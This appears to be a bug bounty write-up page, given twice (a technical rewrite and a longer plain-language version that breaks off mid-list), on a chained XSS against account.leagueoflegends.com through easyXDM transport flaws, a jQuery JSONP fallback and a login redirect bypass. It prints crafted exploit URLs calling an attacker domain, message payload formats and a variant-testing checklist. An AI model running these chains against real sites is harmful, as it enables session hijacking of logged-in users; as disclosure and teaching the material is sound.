Skip to content
XSS Write-up Advanced

XSS on account[dot]leagueoflegends[dot]com via easyXDM [2016]

Luke Young Follow

Published on medium.com

Bounty$2,000 View original

{{media:0}}

Luke Young, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

Riot Games' League of Legends web properties needed to read metadata about the currently logged-in player. Some of those pages lived on different (sub)domains from account.leagueoflegends.com, so the data had to be fetched cross-origin. In 2016, CORS and window.postMessage support was inconsistent, particularly for users on much older browsers, so Riot (like many companies at the time) used the JavaScript library easyXDM to work around the Same Origin Policy.

easyXDM exposes JavaScript APIs across domain boundaries through a normalised interface backed by several browser transports, such as window.postMessage, Flash's LocalConnection and HashTransport. The transport is chosen based on what the user's browser supports best. There is a producer page that exports functions and a consumer page that invokes them from another origin and receives the result.

For Riot, the producer was account.leagueoflegends.com/pm.html, which exported three methods:

  • send: a wrapper around jQuery.ajax allowing cross-origin requests and responses
  • get-cookies: retrieves cookies by name from document.cookie
  • set-cookies: sets a cookie on the base domain via document.cookie

These are dangerous on their own, so there were protections. When pm.html loaded, document.referrer was checked against an allowlist of top level domains:

  • leagueoflegends.com
  • riotgames.com
  • lolesports.com
  • pvp.net
  • leagueoflegends.com.tr
  • lolespor.com
  • lolguilds.ru

When a cross-origin message arrived from the easyXDM transport, the message origin as reported by easyXDM was checked against the same allowlist before the corresponding function ran.

Setup

easyXDM pages take their configuration from query parameters in the URL:

  • xdm_e (config.remote): the URL to load if the current page is a consumer, or the URL of the parent page if the current page is a producer
  • xdm_c (config.channel): the channel used when sending messages
  • xdm_s (config.secret): the secret used to validate that both parties are known
  • xdm_p (config.protocol): the id of the protocol transport to use for communication, as defined in Core.js#L695

Because this configuration comes from the query string, an attacker can manipulate these values. That is the lever the whole chain uses. The researcher's test infrastructure was a page on attackerdoma.in, and the chain was reported to Riot Games through HackerOne in November 2016.

Finding it

The exported methods (send, get-cookies, set-cookies) looked dangerous on the surface, so the interesting question was whether the two checks, the referrer allowlist and the per-message origin check, could both be defeated. The researcher worked through them one at a time, using bugs in easyXDM's own transports to get around each defence.

Exploitation

Step 1: bypassing the referrer check

One way to satisfy the referrer check is to post a link on the boards.na.leagueoflegends.com forum, which matches the *.leagueoflegends.com referrer check, and hope a player clicks it. That requires specific user interaction and limits impact.

A better route is an open redirect on any allowlisted domain. Browsers have stopped carrying the Referrer header on most 301, 302 and similar Location: based redirects, so the researcher needed a JavaScript-based open redirect of the form window.location.href = "${open_redirect}";.

easyXDM itself provides one. There is a vulnerability in option handling in FrameElementTransport.js (lines 89 to 92). After the transport has loaded it performs a check, and since document.referrer will not match the supplied xdm_e parameter, it redirects the top window. This is intended to prevent origin spoofing when using the FrameElementTransport. The vulnerable transport can be forced with an xdm_p parameter:

HTTP
http://provider.easyxdm.net/current/example/remotetransport.html?xdm_e=https%3A%2F%2Fattackerdoma.in&xdm_c=channel&xdm_p=5

Here xdm_e points at the attacker origin and xdm_p=5 selects the FrameElementTransport. This method requires document.referrer to have a value for the payload to work. The researcher notes that since 2016 browsers have become more aggressive about removing referrers, so this may no longer work in 2022 without further changes.

This gives a JavaScript-based open redirect, but it cannot be used on pm.html because of a catch-22 with the referrer checks. A different easyXDM consumer on an allowlisted domain was needed, and there was one at apollo.na.leagueoflegends.com/apollo/cors/index.html. Loading pm.html through the easyXDM open redirect on that consumer bypasses the referrer check.

Step 2: bypassing the origin check

The origin on each message is provided by easyXDM, so another bug was needed in a transport implementation. The researcher found one in HashTransport, which passes data from a child iFrame to a parent window via window.location.hash. Because of this workaround, the parent page (subdomain1) cannot determine who updated location.hash, unlike transports such as window.parent.postMessage which expose an event.origin property. To get around this, easyXDM assumes all messages come from config.remote (see HashTransport.js line 113).

That is exactly the bug needed, but there is a problem with where the exploit code gets loaded in the chain. Setting config.remote to attackerdoma.in to trigger the malicious page means all messages carry a non-allowlisted origin. Setting it to a page on an allowlisted domain means the attacker's own page is never loaded, leaving nothing to exploit.

Step 3: callback hell with iFrames

The referrer bypass technique can be reused here. The exact same open redirect cannot be used because it calls window.top.location, replacing the top level window and breaking the exploit chain. Instead, another protocol, HashTransport again, can force the apollo consumer to frame the attacker page. This produces the following nested frame layout:

Text
https://account.leagueoflegends.com/pm.html└── https://apollo.na.leagueoflegends.com/apollo/cors/index.html    └── https://attackerdoma.in/...

At this point the script on attackerdoma.in can send messages to the parent frame. The approach is not perfect: when pm.html sends a message back to apollo it sets location.hash on the second level iframe, which the attackerdoma.in context cannot access. The attacker is left blind, able to send messages but not receive replies.

Step 4: bypassing VerifyBehavior.js

easyXDM anticipated this attack with VerifyBehavior.js, described in the library's own words:

This behaviour will verify that communication with the remote end is possible, and will also sign all outgoing, and verify all incoming messages. This removes the risk of someone hijacking the iframe to send malicious messages.

The implementation is also vulnerable. It only protects against a scenario where the second level iframe is replaced mid-communication, not one where it is replaced from the start. A message is sent first to establish a value for theirSecret:

Text
1_1,2_0_theirSecret

After waiting a few hundred milliseconds, a second message continues the request:

Text
1_1,3_0_theirSecret_${encodeURIComponent(message_payload)}

Step 5: turning jQuery.ajax into XSS

At this point any of the exposed methods can be called, but the result cannot be read. That leaves the ability to set cookies and make XHR requests without reading responses, which is not particularly impactful. A little-known feature of jQuery changes that: when calling jQuery.ajax, if the URL ends in =?, jQuery attempts to load the request as a JSONP call, even if dataType: "json" is set. This works until jQuery v4. The crafted message payload to pm.html triggers XSS through this behaviour.

Step 6: the full chain

The complete chain of vulnerabilities:

  1. Victim opens 85f32147-76c1-44e2-8aa8-a1f9fd8e2ed3.html on attackerdoma.in.
  2. A redirect to https://apollo.na.leagueoflegends.com/apollo/cors/index.html occurs.
  3. Apollo redirects to https://account.leagueoflegends.com/pm.html with document.referrer set to a whitelisted domain.
  4. pm.html loads https://apollo.na.leagueoflegends.com/apollo/cors/index.html?xdm_e=https%3A%2F%2Fattackerdoma.in%2F8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html&xdm_c=channel&xdm_s=secret&xdm_p=0, which is a whitelisted domain for messages.
  5. Apollo loads the nested frame of 8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html.
  6. 8723... sends a message to pm.html setting theirSecret for the session.
  7. 8723... sends a message to pm.html using theirSecret to call the send method.
  8. pm.html calls send, which triggers a JSONP call to e26e42c0-08b7-4998-8e62-e9d8d6025d9e.js?cb=%3F.
  9. The XSS payload fires.

All of these vulnerabilities were privately reported to Riot Games with this description and a functional proof of concept.

Step 7: bypassing the mitigation

Riot later indicated that a partial mitigation had been rolled out, with more fixes on the way. The mitigation updated /apollo/cors/index.html to check whether document.referrer is an allowlisted domain.

To bypass it, another open redirect on an allowlisted domain was needed. Looking at the login process for leagueoflegends.com, the user is directed through an auth flow on auth.riotgames.com via login.riotgames.com using this URL, assuming the user is in the NA region:

HTTP
https://login.leagueoflegends.com/?region=na&lang=en_US&redirect_uri=http%3A%2F%2Fna.leagueoflegends.com%2F

The redirect_uri parameter cannot be manipulated to any URL, so it is not an open redirect, but it can be modified to any subdomain of leagueoflegends.com, including apollo.na.leagueoflegends.com. That endpoint can therefore redirect to the apollo page and bypass the allowlist check:

HTTP
https://login.leagueoflegends.com/?region=na&lang=en_US&redirect_uri=https%3A%2F%2Fapollo.na.leagueoflegends.com%2Fapollo%2Fcors%2Findex.html

Because this abuses the login functionality, the victim has to be already logged in for the PoC to trigger.

The final chain:

  1. Victim opens a06250dd-ffd0-4a7e-8fb2-cf163021fe61.html on attackerdoma.in.
  2. Redirect to https://login.leagueoflegends.com/?region=na&lang=en_US&redirect_uri=https%3A%2F%2Fapollo.na.leagueoflegends.com%2Fapollo%2Fcors%2Findex.html%3Fxdm_e%3Dhttps%253A%252F%252Faccount.leagueoflegends.com%252Fpm.html%253Fxdm_e%253Dhttps%25253A%25252F%25252Fapollo.na.leagueoflegends.com%25252Fapollo%25252Fcors%25252Findex.html%25253Fxdm_e%25253Dhttps%2525253A%2525252F%2525252Fattackerdoma.in%2525252F8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html%252526xdm_c%25253Dchannel%252526xdm_s%25253Dsecret%252526xdm_p%25253D0%2526xdm_c%253Dchannel%2526xdm_s%253Dsecret%2526xdm_p%253D0%26xdm_c%3Dchannel%26xdm_s%3Dsecret%26xdm_p%3D5.
  3. Redirect to https://auth.riotgames.com/authorize.
  4. Redirect to https://login.leagueoflegends.com/oauth2-callback.
  5. Redirect to https://login.lolesports.com/sso/login.
  6. Redirect to https://login.leagueoflegends.com/sso/callback.
  7. Redirect to https://apollo.na.leagueoflegends.com/apollo/cors/index.html?xdm_e=https%3A%2F%2Faccount.leagueoflegends.com%2Fpm.html%3Fxdm_e%3Dhttps%253A%252F%252Fapollo.na.leagueoflegends.com%252Fapollo%252Fcors%252Findex.html%253Fxdm_e%253Dhttps%25253A%25252F%25252Fattackerdoma.in%25252F8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html%2526xdm_c%253Dchannel%2526xdm_s%253Dsecret%2526xdm_p%253D0%26xdm_c%3Dchannel%26xdm_s%3Dsecret%26xdm_p%3D0&xdm_c=channel&xdm_s=secret&xdm_p=5.
  8. Apollo redirects to https://account.leagueoflegends.com/pm.html?xdm_e=https%3A%2F%2Fapollo.na.leagueoflegends.com%2Fapollo%2Fcors%2Findex.html%3Fxdm_e%3Dhttps%253A%252F%252Fattackerdoma.in%252F8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html%26xdm_c%3Dchannel%26xdm_s%3Dsecret%26xdm_p%3D0&xdm_c=channel&xdm_s=secret&xdm_p=0 with document.referrer set to a whitelisted domain.
  9. The XSS payload fires.

This bypass of the mitigation was also reported to Riot Games.

Root cause

The chain rests on several mistakes in easyXDM and in how Riot used it:

  • Configuration from the query string. xdm_e, xdm_c, xdm_s and xdm_p are all attacker-controllable, so the attacker chooses the remote origin, the channel, the secret and the transport.
  • FrameElementTransport option handling. After loading, the transport redirects the top window when document.referrer does not match xdm_e. That behaviour, intended to prevent origin spoofing, becomes a JavaScript-based open redirect when xdm_e is attacker-controlled.
  • HashTransport origin assumption. Because location.hash carries no origin information, easyXDM assumes every message comes from config.remote. An attacker who can place a frame in the right position can therefore speak with an allowlisted origin.
  • VerifyBehavior.js. It only detects a second level iframe replaced mid-communication, not one replaced from the start, so a first message that sets theirSecret is enough to continue.
  • jQuery JSONP fallback. A URL ending in =? is loaded as JSONP even when dataType: "json" is set, turning the send wrapper into script injection.
  • Riot's checks. The referrer allowlist and the per-message origin check both trusted values (the referrer and easyXDM's reported origin) that the attacker could influence through the transports above. The later mitigation on /apollo/cors/index.html still trusted document.referrer, which a subdomain-scoped redirect_uri on the login flow could satisfy.

Impact

The end result is XSS on account.leagueoflegends.com in the context of a logged-in player. Through the exported methods the attacker can make cross-origin requests, set cookies on the base domain, and execute script, though the attacker cannot read the replies. The first chain required the victim to open an attacker page. The bypass of the mitigation additionally required the victim to be already logged in, because it abused the login flow. The researcher describes the impact as limited in the first approach by the need for user interaction, and the report does not quantify it further.

Fix

Riot deployed a patch, indicated on 21 February 2017, and later a partial mitigation that added a document.referrer allowlist check to /apollo/cors/index.html. The researcher reproduced the issue after the first patch and again on 18 March 2017 with the initial payload, and Riot confirmed on 28 April 2017 that the patch was deployed. The bypass of that patch was reported on 29 April 2017 and acknowledged on 8 May 2017. On 6 November 2017 Riot indicated the issue was fixed, with one individual vulnerability remaining but the full chain broken. The report was closed as resolved and a $2,000 bounty awarded on 31 May 2018.

For easyXDM itself, the author confirmed the project is not actively maintained because browsers now provide the core features natively. The researcher agrees: window.postMessage support has been pervasive for over a decade, and new software should use it directly rather than compatibility shims like easyXDM, even though native postMessage has its own complex vulnerabilities.

Variants to test

  • Other easyXDM deployments. Look for pages that read xdm_e, xdm_c, xdm_s or xdm_p from the query string. A positive result is a producer page that loads a frame or redirects based on an attacker-supplied xdm_e.
  • FrameElementTransport open redirect. Request a page with xdm_p=5 and an xdm_e on your own origin. A positive result is the top window navigating to your URL when a referrer is present.
  • HashTransport origin spoofing. Nest an attacker frame under a consumer page and send a message. A positive result is the producer treating your message as coming from config.remote.
  • VerifyBehavior.js. Send a first message to set theirSecret, wait a few hundred milliseconds, then send the real request. A positive result is the second message being accepted.
  • jQuery JSONP fallback. Call an exposed jQuery.ajax wrapper with a URL ending in =?. A positive result is the response being loaded as a script.
  • Subdomain-scoped redirects. Test login or SSO redirect_uri parameters that accept any subdomain of an allowlisted domain. A positive result is a redirect to an arbitrary subdomain, which can satisfy a referrer check.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

In 2016, the researcher Luke Young found a way to run his own JavaScript code inside a page on account.leagueoflegends.com, the site where League of Legends players manage their Riot account. Running your own code inside someone else's page is called cross-site scripting, or XSS. When it happens on a page where a player is logged in, the attacker's code runs with that player's session, so it can act as the player.

The route to that XSS was not a single mistake. It was a chain of small mistakes, mostly inside a free JavaScript library called easyXDM that Riot used to let its webpages talk to each other across different domains. Each mistake on its own looked minor. Stacked together, they let the researcher's page convince Riot's page that it was a trusted Riot page, call a function that makes web requests, and turn the response into executable script.

The researcher reported the chain privately to Riot Games through HackerOne in November 2016. Riot patched it, the researcher found a way around the patch, and that bypass was reported too. The report was closed as resolved and a $2,000 bounty was paid on 31 May 2018. The researcher published the write-up on 1 December 2022, after Riot gave permission; the report notes most of the infrastructure involved has since been replaced.

Background: why these pages needed to talk to each other

A modern website is rarely one page on one domain. Riot's League of Legends web properties were spread over several subdomains, and many of those pages needed to read metadata about the player who was currently logged in. That information lived on account.leagueoflegends.com.

A browser has a strict rule called the Same Origin Policy. In plain terms: a page loaded from one origin (roughly, one domain plus protocol plus port) is not allowed to read data from a different origin. This rule is what stops any random website you visit from quietly reading your bank's pages in another tab. It is a good rule, but it also means that if lolesports.com wants to ask account.leagueoflegends.com "who is this player?", the browser will refuse by default.

There are official ways around this. One is CORS (Cross-Origin Resource Sharing), where the server explicitly says "these other domains are allowed to read my responses". Another is window.postMessage, a browser feature that lets two windows or frames send each other messages even when they are on different origins. In 2016, browser support for both was inconsistent, especially for players on much older browsers. So Riot, like many companies at the time, used a JavaScript library called easyXDM to paper over the differences.

The library's own description, quoted in the report, is:

easyXDM is a Javascript library that enables you as a developer to easily work around the limitation set in place by the Same Origin Policy, in turn making it easy to communicate and expose javascript API’s across domain boundaries. easyXDM.net

An API here just means a set of functions one piece of software offers to another. easyXDM gives you a normalised interface for cross-origin communication, and behind that interface it uses different browser mechanisms, called transports. Examples are window.postMessage, Flash's LocalConnection, and HashTransport. The library picks whichever transport the user's browser supports best.

When easyXDM is used, there are two roles:

  • a producer page, which exports one or more JavaScript functions that other pages can call;
  • a consumer page, which lives on another origin, calls those functions, and receives the results.

For Riot, the producer was account.leagueoflegends.com/pm.html. It exported three methods:

  • send: a wrapper around jQuery.ajax allowing access to make requests and responses cross-origin
  • get-cookies: retrieves cookies by name from document.cookie
  • set-cookies: sets a cookie on the base domain via document.cookie

A cookie is a small piece of text a website asks your browser to store and send back on later requests. Cookies are how most sites remember that you are logged in. jQuery.ajax is a helper function from the jQuery library that makes web requests from JavaScript. So send lets a caller make web requests through the producer page, get-cookies lets a caller read cookies, and set-cookies lets a caller write cookies on the base domain. Any one of those, in the wrong hands, is dangerous.

Riot knew that, so there were two protections:

  1. When pm.html loaded, the page checked document.referrer. The referrer is the address of the page you came from, which the browser sends along when you follow a link or a redirect. The check compared it against an allowlist of top level domains:

    • leagueoflegends.com
    • riotgames.com
    • lolesports.com
    • pvp.net
    • leagueoflegends.com.tr
    • lolespor.com
    • lolguilds.ru
  2. When a cross-origin message arrived through the easyXDM transport, the message origin (as reported by easyXDM) was checked against the same allowlist before the matching function ran.

So to abuse pm.html, an attacker would have to get past both checks. The rest of the story is about doing exactly that, one check at a time.

Setup: how easyXDM is configured

Before going further, you need to know how an easyXDM page knows what to do. It reads its configuration from query parameters in the URL, the part after the ?. The report lists four:

  • xdm_e (config.remote): the URL to load if the current page is a consumer, or the URL of the parent page if the current page is a producer
  • xdm_c (config.channel): the channel to use when sending messages
  • xdm_s (config.secret): the secret to use to validate both parties are known
  • xdm_p (config.protocol): the id of which protocol transport to use for communication as defined in Core.js#L695

Think of these like the settings on a walkie-talkie: which other handset to talk to (xdm_e), which channel to use (xdm_c), a shared password so both sides know each other (xdm_s), and which radio technology to use (xdm_p).

The important point is that all four come from the URL. Anyone can put anything in a URL. So an attacker controls the remote origin, the channel, the secret, and the transport. That is the lever the whole chain pulls.

The researcher's test infrastructure was a page on attackerdoma.in, a domain he controlled. The chain was reported to Riot Games through HackerOne in November 2016.

Finding it: the question to answer

The exported methods (send, get-cookies, set-cookies) looked dangerous on the surface, so the interesting question was whether the two checks, the referrer allowlist and the per-message origin check, could both be defeated. The researcher worked through them one at a time, using bugs in easyXDM's own transports to get around each defence.

Exploitation

Step 1: bypassing the referrer check

One way to satisfy the referrer check is to post a link on the boards.na.leagueoflegends.com forum, which matches the *.leagueoflegends.com referrer check, and hope a player clicks it. That requires specific user interaction and limits impact: you would need a real person to click a link on a forum, and only that person would be affected.

A better route is an open redirect on any allowlisted domain. An open redirect is a page that takes a destination from the URL and sends the visitor there, without checking that the destination is safe. If a trusted domain has one, an attacker can build a link that starts on the trusted domain and ends on the attacker's site, and the browser will treat the visit as having come from the trusted domain.

Browsers have stopped carrying the Referrer header on most 301, 302 and similar Location: based redirects. Those are server-side redirects: the server answers with a status code and a Location: header, and the browser follows it. Because the referrer is dropped, a server-side redirect is not enough here. The researcher needed a JavaScript-based open redirect of the form window.location.href = "${open_redirect}";. That is a line of JavaScript that tells the browser to navigate to a URL taken from a variable.

easyXDM itself provides one. There is a vulnerability in option handling in FrameElementTransport.js (lines 89 to 92). After the transport has loaded it performs a check, and since document.referrer will not match the supplied xdm_e parameter, it redirects the top window. This is intended to prevent origin spoofing when using the FrameElementTransport. In other words, the library tries to protect itself: if the page that loaded it does not look like the page it expected, it sends the whole browser window somewhere else. But because xdm_e comes from the URL, the attacker chooses where that somewhere else is. The protection becomes the redirect.

The vulnerable transport can be forced with an xdm_p parameter:

HTTP
http://provider.easyxdm.net/current/example/remotetransport.html?xdm_e=https%3A%2F%2Fattackerdoma.in&xdm_c=channel&xdm_p=5

Line by line:

  • http://provider.easyxdm.net/current/example/remotetransport.html is an easyXDM example page that acts as a producer.
  • ? starts the query string.
  • xdm_e=https%3A%2F%2Fattackerdoma.in sets the expected remote origin to the attacker's domain. The %3A and %2F are URL-encoded : and /, so the decoded value is https://attackerdoma.in.
  • xdm_c=channel sets the channel name.
  • xdm_p=5 selects the FrameElementTransport, the transport with the vulnerable option handling.

Here xdm_e points at the attacker origin and xdm_p=5 selects the FrameElementTransport. This method requires document.referrer to have a value for the payload to work. The researcher notes that since 2016 browsers have become more aggressive about removing referrers, so this may no longer work in 2022 without further changes.

This gives a JavaScript-based open redirect, but it cannot be used on pm.html because of a catch-22 with the referrer checks. A catch-22 is a situation where each option blocks the other. To get the redirect, the attacker needs a referrer that does not match xdm_e. But pm.html itself checks the referrer against the allowlist, so loading pm.html directly from the attacker's page fails the check before the redirect trick can help. A different easyXDM consumer on an allowlisted domain was needed, and there was one at apollo.na.leagueoflegends.com/apollo/cors/index.html. Loading pm.html through the easyXDM open redirect on that consumer bypasses the referrer check, because the browser now believes the visit came from an allowlisted domain.

Step 2: bypassing the origin check

The origin on each message is provided by easyXDM, so another bug was needed in a transport implementation. The researcher found one in HashTransport, which passes data from a child iFrame to a parent window via window.location.hash. An iFrame is a page embedded inside another page. The hash is the part of a URL after the # symbol, normally used to jump to a section of a page. Here it is being used as a message channel: the child writes data into the parent's hash, and the parent reads it.

Because of this workaround, the parent page (subdomain1) cannot determine who updated location.hash, unlike transports such as window.parent.postMessage which expose an event.origin property. With postMessage, the browser itself tells the receiver which origin sent the message, and that value cannot be faked. With the hash trick, the browser tells the receiver nothing about who wrote the hash. To get around this, easyXDM assumes all messages come from config.remote (see HashTransport.js line 113). That assumption is the bug: if the attacker can arrange for config.remote to be an allowlisted domain, every message the attacker sends will be treated as coming from that domain.

That is exactly the bug needed, but there is a problem with where the exploit code gets loaded in the chain. Setting config.remote to attackerdoma.in to trigger the malicious page means all messages carry a non-allowlisted origin. Setting it to a page on an allowlisted domain means the attacker's own page is never loaded, leaving nothing to exploit. The attacker needs both: an allowlisted origin on the messages, and the attacker's own code running somewhere in the frame tree.

Step 3: callback hell with iFrames

The referrer bypass technique can be reused here. The exact same open redirect cannot be used because it calls window.top.location, replacing the top level window and breaking the exploit chain. window.top is the outermost window of the browser tab; if that navigates away, everything the attacker has built inside it is destroyed. Instead, another protocol, HashTransport again, can force the apollo consumer to frame the attacker page. This produces the following nested frame layout:

Text
https://account.leagueoflegends.com/pm.html└── https://apollo.na.leagueoflegends.com/apollo/cors/index.html    └── https://attackerdoma.in/...

Read the tree from the outside in. The outermost frame is pm.html on the account domain. Inside it sits the apollo consumer page, which is on an allowlisted domain. Inside that sits the attacker's page on attackerdoma.in. The attacker's code is now running inside a frame whose parent is an allowlisted domain, which is exactly the position needed to exploit the HashTransport assumption.

At this point the script on attackerdoma.in can send messages to the parent frame. The approach is not perfect: when pm.html sends a message back to apollo it sets location.hash on the second level iframe, which the attackerdoma.in context cannot access. The attacker is left blind, able to send messages but not receive replies. That is a real limitation, but it turns out not to matter, because the goal is not to read data back; the goal is to make pm.html do something.

Step 4: bypassing VerifyBehavior.js

easyXDM anticipated this attack with VerifyBehavior.js, described in the library's own words:

This behaviour will verify that communication with the remote end is possible, and will also sign all outgoing, and verify all incoming messages. This removes the risk of someone hijacking the iframe to send malicious messages.

In plain terms, the library tries to make sure the two sides really are who they claim to be, by exchanging a shared secret before any real work happens. The implementation is also vulnerable. It only protects against a scenario where the second level iframe is replaced mid-communication, not one where it is replaced from the start. If the attacker's frame is already in place before the conversation begins, the check has nothing to compare against and passes.

A message is sent first to establish a value for theirSecret:

Text
1_1,2_0_theirSecret

This is the first message in easyXDM's internal format. The parts are separated by commas and underscores. The 1_1 identifies the message type, 2_0 identifies the step, and theirSecret is the value the attacker is claiming as the shared secret. The point is to get the producer to accept and store that value before the real request arrives.

After waiting a few hundred milliseconds, a second message continues the request:

Text
1_1,3_0_theirSecret_${encodeURIComponent(message_payload)}

Here the same 1_1 prefix is used, the step number moves to 3_0, the previously established theirSecret is included, and the actual payload is appended after an underscore. ${encodeURIComponent(message_payload)} is JavaScript template syntax: it means "take the variable message_payload and URL-encode it", so that special characters in the payload do not break the message format. The few hundred milliseconds of waiting matter because the producer needs time to process the first message before the second arrives.

Step 5: turning jQuery.ajax into XSS

At this point any of the exposed methods can be called, but the result cannot be read. That leaves the ability to set cookies and make XHR requests without reading responses, which is not particularly impactful. XHR means XMLHttpRequest, the browser feature JavaScript uses to make web requests in the background. Being able to make requests but not read the answers is like being able to post letters but never receive replies: useful, but limited.

A little-known feature of jQuery changes that. When calling jQuery.ajax, if the URL ends in =?, jQuery attempts to load the request as a JSONP call, even if dataType: "json" is set. JSONP is an older technique for loading data across domains: instead of returning data, the server returns a piece of JavaScript that calls a function with the data. The browser then executes that JavaScript. That is why JSONP is dangerous when the URL is attacker-controlled: the "response" is code, and the code runs. The =? ending is jQuery's signal that the caller wants JSONP, and it overrides the explicit dataType: "json" setting. This works until jQuery v4.

The crafted message payload to pm.html triggers XSS through this behaviour. The attacker calls send with a URL on their own domain ending in =?, the producer page makes the request, the attacker's server returns JavaScript, and that JavaScript runs in the context of account.leagueoflegends.com.

Step 6: the full chain

The complete chain of vulnerabilities:

  1. Victim opens 85f32147-76c1-44e2-8aa8-a1f9fd8e2ed3.html on attackerdoma.in.
  2. A redirect to https://apollo.na.leagueoflegends.com/apollo/cors/index.html occurs.
  3. Apollo redirects to https://account.leagueoflegends.com/pm.html with document.referrer set to a whitelisted domain.
  4. pm.html loads https://apollo.na.leagueoflegends.com/apollo/cors/index.html?xdm_e=https%3A%2F%2Fattackerdoma.in%2F8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html&xdm_c=channel&xdm_s=secret&xdm_p=0, which is a whitelisted domain for messages.
  5. Apollo loads the nested frame of 8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html.
  6. 8723... sends a message to pm.html setting theirSecret for the session.
  7. 8723... sends a message to pm.html using theirSecret to call the send method.
  8. pm.html calls send, which triggers a JSONP call to e26e42c0-08b7-4998-8e62-e9d8d6025d9e.js?cb=%3F.
  9. The XSS payload fires.

Walking through it: the victim lands on the attacker's page (step 1). That page uses the easyXDM open redirect to send the browser to the apollo consumer (step 2). Apollo, in turn, sends the browser to pm.html, and because the browser came through an allowlisted domain, the referrer check passes (step 3). pm.html then loads the apollo consumer again, this time with xdm_e pointing at the attacker's page and xdm_p=0 selecting HashTransport (step 4). Apollo frames the attacker's page (step 5). The attacker's page now speaks to pm.html through the hash channel, first setting the shared secret (step 6), then calling send (step 7). send makes a request to the attacker's server with a URL ending in =?, so jQuery treats the response as JSONP and executes it (step 8). That is the XSS (step 9).

All of these vulnerabilities were privately reported to Riot Games with this description and a functional proof of concept.

Step 7: bypassing the mitigation

Riot later indicated that a partial mitigation had been rolled out, with more fixes on the way. A mitigation is a partial fix: it closes the specific path that was reported without removing the underlying weakness. The mitigation updated /apollo/cors/index.html to check whether document.referrer is an allowlisted domain. That closes the step 2 to step 3 hop, because the apollo page now refuses to redirect when the referrer is not allowlisted.

To bypass it, another open redirect on an allowlisted domain was needed. Looking at the login process for leagueoflegends.com, the user is directed through an auth flow on auth.riotgames.com via login.riotgames.com using this URL, assuming the user is in the NA region:

HTTP
https://login.leagueoflegends.com/?region=na&lang=en_US&redirect_uri=http%3A%2F%2Fna.leagueoflegends.com%2F

Line by line:

  • https://login.leagueoflegends.com/ is the login page.
  • ? starts the query string.
  • region=na tells the login flow the user is in North America.
  • lang=en_US sets the language to US English.
  • redirect_uri=http%3A%2F%2Fna.leagueoflegends.com%2F is where the user should be sent after logging in. The encoded value decodes to http://na.leagueoflegends.com/.

The redirect_uri parameter cannot be manipulated to any URL, so it is not an open redirect, but it can be modified to any subdomain of leagueoflegends.com, including apollo.na.leagueoflegends.com. That endpoint can therefore redirect to the apollo page and bypass the allowlist check:

HTTP
https://login.leagueoflegends.com/?region=na&lang=en_US&redirect_uri=https%3A%2F%2Fapollo.na.leagueoflegends.com%2Fapollo%2Fcors%2Findex.html

This is the same URL with only the redirect_uri changed. The encoded value now decodes to https://apollo.na.leagueoflegends.com/apollo/cors/index.html, which is a subdomain of leagueoflegends.com, so the login page accepts it. The browser follows the login flow, ends up on the apollo page, and the apollo page sees a referrer from an allowlisted domain. The mitigation is satisfied without the attacker ever needing a redirect from a non-allowlisted origin.

Because this abuses the login functionality, the victim has to be already logged in for the PoC to trigger. A PoC, or proof of concept, is a working demonstration that the bug is real.

The final chain:

  1. Victim opens a06250dd-ffd0-4a7e-8fb2-cf163021fe61.html on attackerdoma.in.
  2. Redirect to https://login.leagueoflegends.com/?region=na&lang=en_US&redirect_uri=https%3A%2F%2Fapollo.na.leagueoflegends.com%2Fapollo%2Fcors%2Findex.html%3Fxdm_e%3Dhttps%253A%252F%252Faccount.leagueoflegends.com%252Fpm.html%253Fxdm_e%253Dhttps%25253A%25252F%25252Fapollo.na.leagueoflegends.com%25252Fapollo%25252Fcors%25252Findex.html%25253Fxdm_e%25253Dhttps%2525253A%2525252F%2525252Fattackerdoma.in%2525252F8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html%252526xdm_c%25253Dchannel%252526xdm_s%25253Dsecret%252526xdm_p%25253D0%2526xdm_c%253Dchannel%2526xdm_s%253Dsecret%2526xdm_p%253D0%26xdm_c%3Dchannel%26xdm_s%3Dsecret%26xdm_p%3D5.
  3. Redirect to https://auth.riotgames.com/authorize.
  4. Redirect to https://login.leagueoflegends.com/oauth2-callback.
  5. Redirect to https://login.lolesports.com/sso/login.
  6. Redirect to https://login.leagueoflegends.com/sso/callback.
  7. Redirect to https://apollo.na.leagueoflegends.com/apollo/cors/index.html?xdm_e=https%3A%2F%2Faccount.leagueoflegends.com%2Fpm.html%3Fxdm_e%3Dhttps%253A%252F%252Fapollo.na.leagueoflegends.com%252Fapollo%252Fcors%252Findex.html%253Fxdm_e%253Dhttps%25253A%25252F%25252Fattackerdoma.in%25252F8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html%2526xdm_c%253Dchannel%2526xdm_s%253Dsecret%2526xdm_p%253D0%26xdm_c%3Dchannel%26xdm_s%3Dsecret%26xdm_p%3D0&xdm_c=channel&xdm_s=secret&xdm_p=5.
  8. Apollo redirects to https://account.leagueoflegends.com/pm.html?xdm_e=https%3A%2F%2Fapollo.na.leagueoflegends.com%2Fapollo%2Fcors%2Findex.html%3Fxdm_e%3Dhttps%253A%252F%252Fattackerdoma.in%2F8723f98f-e1f1-41cc-bc1e-f2afb4c8d933.html%26xdm_c%3Dchannel%26xdm_s%3Dsecret%26xdm_p%3D0&xdm_c=channel&xdm_s=secret&xdm_p=0 with document.referrer set to a whitelisted domain.
  9. The XSS payload fires.

The difference from the first chain is steps 2 to 7. Instead of going straight from the attacker's page to apollo, the browser is sent through the login flow. The login page accepts the apollo URL because it is a subdomain, and the login flow bounces the browser through several authentication pages before landing back on apollo. By the time apollo is reached, the referrer is an allowlisted domain, so the new check passes. From step 8 onwards the chain is the same as before.

This bypass of the mitigation was also reported to Riot Games.

Root cause

The chain rests on several mistakes in easyXDM and in how Riot used it:

  • Configuration from the query string. xdm_e, xdm_c, xdm_s and xdm_p are all attacker-controllable, so the attacker chooses the remote origin, the channel, the secret and the transport.
